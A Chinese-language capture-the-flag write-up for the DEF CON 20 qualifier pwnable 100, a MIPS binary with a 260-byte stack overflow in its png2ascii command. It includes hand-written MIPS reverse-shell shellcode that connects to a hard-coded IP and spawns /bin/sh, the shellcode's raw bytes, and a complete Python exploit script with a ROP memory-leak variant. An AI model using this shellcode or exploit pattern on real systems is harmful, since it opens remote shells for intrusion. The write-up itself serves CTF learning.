Defcon ctf 20 qual pp100 Writeup

DEBUG

又到了一年一度的駭客界盛事 Defcon ctf qual 的……. 半個月後了,期末考終於有時間來寫個 write up 了XD 由於沒有在時間內解完,所以這篇算是事後腦補文!

沒在時間內解出卡住的點是,沒有看出有 setrlimit 的限制以及,腦袋轉的不夠快沒有想到利用 ROP 去 leak memory address

Pwnables 100

題目描述

Pwn it! Running on 140.197.217.85:1994 Download the binary

檔案可以在這下載

http://rdlabs.org/dc20qual/pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a

連進去長得像這樣

可以用 binutils 的 file 觀察發現是 MIPS 架構的 ELF binary

1
2
orange@z:~/ctf$ file pp100
pp100: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped

環境可以利用 QEMU 架起來,可參考 這篇

1
2
3
4
5
qemu-system-mipsel.exe \
-M malta \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0"

想要網路的話加上參數 -net user & -net nic,想到 forward port 的話加上參數 -redir tcp:22::22 (Host OS 22 port to Guest OS 22 port),QEMU 長得像這樣

接著開始進行分析,配合 IDA pro 觀察,在 gdb 中會發現在 png2ascii 指令內超過一定長度會產生 Segmentation fault. 慢慢減少字串長度發現在 260 bytes 後的字元可以覆蓋到 PC

python -c “print ‘png2ascii\n’ + “0”*260 +’A’*4” | nc 0 1994

很簡單的 Buffer overflow 不過是 MIPS ~“~

可以很快地寫出 Exploit 但是 shellcode 有大小限制 ,網路上的皆無法使用所以只好自己寫 = =||| (網路上的 shellcode 是考慮到 null byte,所以利用變形的方式繞過所以寫得又臭又長,而且還有寫錯的)

要注意的點

  1. MIPS 有分 Big endian 以及 Little endian,可以從 “\xc0\x01\x01\x01” or “\x01\x01\x01\xc0” 看出
  2. syscall 值 可以參考 /usr/include/asm/unistd.h
  3. MIPS 參數傳遞由 a0,a1,a2,a3 下去
  4. MIPS 回傳值位於 ra
  5. 字串放進 stack 內位置要對齊,不然會寫得很幹!

透過 gdb, gcc, objdump, strace 可以寫出 shellcode,大致如

setrlimit -> socket -> connect -> dup2(將 stdout, stdin, stderr 轉至 fd) -> execv

Reference 中另外一隊的寫法是直接將當前連線當成資料交換的地方,直接 dup2,更厲害讓 shellcode 更短

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void main() {
// setrlimit
asm("li $v0,4075");
asm("li $a0,5");
asm("addiu $a1,$sp,-64");
asm("li $t7,100");
asm("sw $t7,-64($sp)");
asm("sw $t7,-60($sp)");
asm("syscall 0x40404");

// socket
asm("li $a0,2");
asm("li $a1,2");
asm("li $a2,6");
asm("li $v0,4183");
asm("syscall 0x40404");

// connect
asm("sw $v0,-1($sp)");
asm("lw $a0,-1($sp)");
asm("lui $t7,0x5555"); // port
asm("ori $t7, $t7,2");
asm("sw $t7,-32($sp)");
asm("lui $t5,0xc893"); // IP
asm("ori $t5,$t5,0xe6ad"); // IP
asm("sw $t5,-28($sp)");
asm("addi $a1,$sp,-32");
asm("li $a2,16");
asm("li $v0,4170");
asm("syscall 0x40404");

//dup2
asm("li $a1,2");
asm("lw $a0,-1($sp)");
asm("out:");
asm("li $v0,4063");
asm("syscall 0x40404");
asm("addi $a1,$a1,-1");
asm("li $t3,-1");
asm("bne $a1,$t3,out");

// execv
asm("lui $t7,0x6e69");
asm("ori $t7,$t7,0x622f");
asm("sw $t7,-12($sp)");
asm("lui $t6,0x68");
asm("ori $t6,$t6,0x732f");
asm("sw $t6,-8($sp)");
asm("sw $zero,-4($sp)");
asm("addiu $a0,$sp,-12");
asm("li $a1,0");
asm("li $a2,0");
asm("li $v0,4011");
asm("syscall 0x40404");
}

總共長度為 176 bytes,接下來的問題就是如何找到 shellcode 在 stack 的位置

利用 Return Oriented Programming (ROP) 可以跳至 syscall __NR_send 的位置,並且參數可以自己控制最終將 Remote 的記憶體資料讀回來找出 shellcode 位置,最終的 Exploit python code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import socket
from struct import pack

HOST = "140.197.217.85"
#HOST = "127.0.0.1"
PORT = 1994

sc = ( "\xEB\x0F\x02\x24\x05\x00\x04\x24\xC0\xFF\xA5\x27\x64\x00\x0F\x24"
"\xC0\xFF\xAF\xAF\xC4\xFF\xAF\xAF\x0C\x01\x01\x01\x02\x00\x04\x24"
"\x02\x00\x05\x24\x06\x00\x06\x24\x57\x10\x02\x24\x0C\x01\x01\x01"
"\xFF\xFF\xA2\xAF\xFF\xFF\xA4\x8F\x55\x55\x0F\x3C\x02\x00\xEF\x35"
"\xE0\xFF\xAF\xAF\x93\xC8\x0D\x3C\xAD\xE6\xAD\x35\xE4\xFF\xAD\xAF"
"\xE0\xFF\xA5\x23\x10\x00\x06\x24\x4A\x10\x02\x24\x0C\x01\x01\x01"
"\x02\x00\x05\x24\xFF\xFF\xA4\x8F\xDF\x0F\x02\x24\x0C\x01\x01\x01"
"\xFF\xFF\xA5\x20\xFF\xFF\x0B\x24\xFB\xFF\xAB\x14\x25\x08\x20\x00"
"\x69\x6E\x0F\x3C\x2F\x62\xEF\x35\xF4\xFF\xAF\xAF\x68\x00\x0E\x3C"
"\x2F\x73\xCE\x35\xF8\xFF\xAE\xAF\xFC\xFF\xA0\xAF\xF4\xFF\xA4\x27"
"\x00\x00\x05\x24\x00\x00\x06\x24\xAB\x0F\x02\x24\x0C\x01\x01\x01"
)

nop = "A"*(260-len(sc))
retAddr = 0x7f7fbc6a # shellcode address
#retAddr = 0x00411498 # ROP to leak stack address

if __name__ == "__main__":
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.recv(1024)
s.send('png2ascii\n')
s.recv(1024)

# get stack memoery
# s.send(nop + \
# sc + \
# pack("I", retAddr) + \
# pack("I", 4) + \
# pack("I", 0x4bd740 ) + \
# pack("I", 0xffff) + \
# pack("I", 0) + "\n"
# )
# tmp = []
# for i in range(0, 0xffff, 1024):
# buf = s.recv(1024)
# tmp.append( buf )
# with open("temp.txt", "w+") as fp:
# fp.write( "".join(tmp) )

# jump to shellcode
s.send(nop + sc + pack("I", retAddr) + "1234")
s.close()

Reference:

http://blog.lse.epita.fr/articles/17-defcon2k12-prequals-pwn100-writeup.html
http://www.exploit-db.com/exploits/18226/
http://www.thc.org/root/docs/exploit_writing/mipsshellcode.pdf